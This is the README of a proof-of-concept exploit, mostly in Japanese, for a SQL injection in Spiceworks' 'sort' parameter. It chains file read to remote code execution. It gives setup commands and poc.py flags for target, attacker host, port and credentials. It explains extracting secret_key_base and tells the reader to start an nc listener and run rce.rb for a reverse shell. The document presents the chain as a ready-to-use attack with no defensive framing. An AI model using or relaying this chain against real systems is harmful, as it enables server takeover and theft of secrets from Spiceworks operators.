Spiceworks Sort SQLi

Spiceworks の sort パラメータに SQLi が存在します。完全なエクスプロイトチェーンは SQLi -> ファイル読み取り -> RCE です。

デモ

前提条件

apt update && apt install -y ruby-dev nodejs python3 python3-pip libsqlite3-dev
pip3 install requests
gem install bundler && cd rce && bundle install

ステージ 1

poc.py を使用して SQLi -> ファイル読み取りを悪用し、secret_key_base 環境変数を抽出します。その後、poc.py から得られた値を使用して、リバースシェルを獲得する PoC Ruby スクリプトを生成します。

使用方法

usage: poc.py [-h] --rhost RHOST --lhost LHOST --lport LPORT -u USER -p PASSWORD [-e ENV_PATH]

There's a SQLi in a `sort` parameter of Spiceworks. The exploit chain is SQLi -> file read -> RCE.

optional arguments:
  -h, --help            show this help message and exit
  --rhost RHOST         https://example.com
  --lhost LHOST         10.10.10.10
  --lport LPORT         9001
  -u USER, --user USER  [email protected]
  -p PASSWORD, --password PASSWORD
                        P@$$w0rd!
  -e ENV_PATH, --env_path ENV_PATH
                        Path to environment variables

ステージ 2

rce.rb を使用します。ステージ 1 で指定した IP とポートで nc リスナーを起動し、次のコマンドを実行するだけです:

cd rce && ruby rce.rb

できあがり！

クレジット

• @aidanstansfield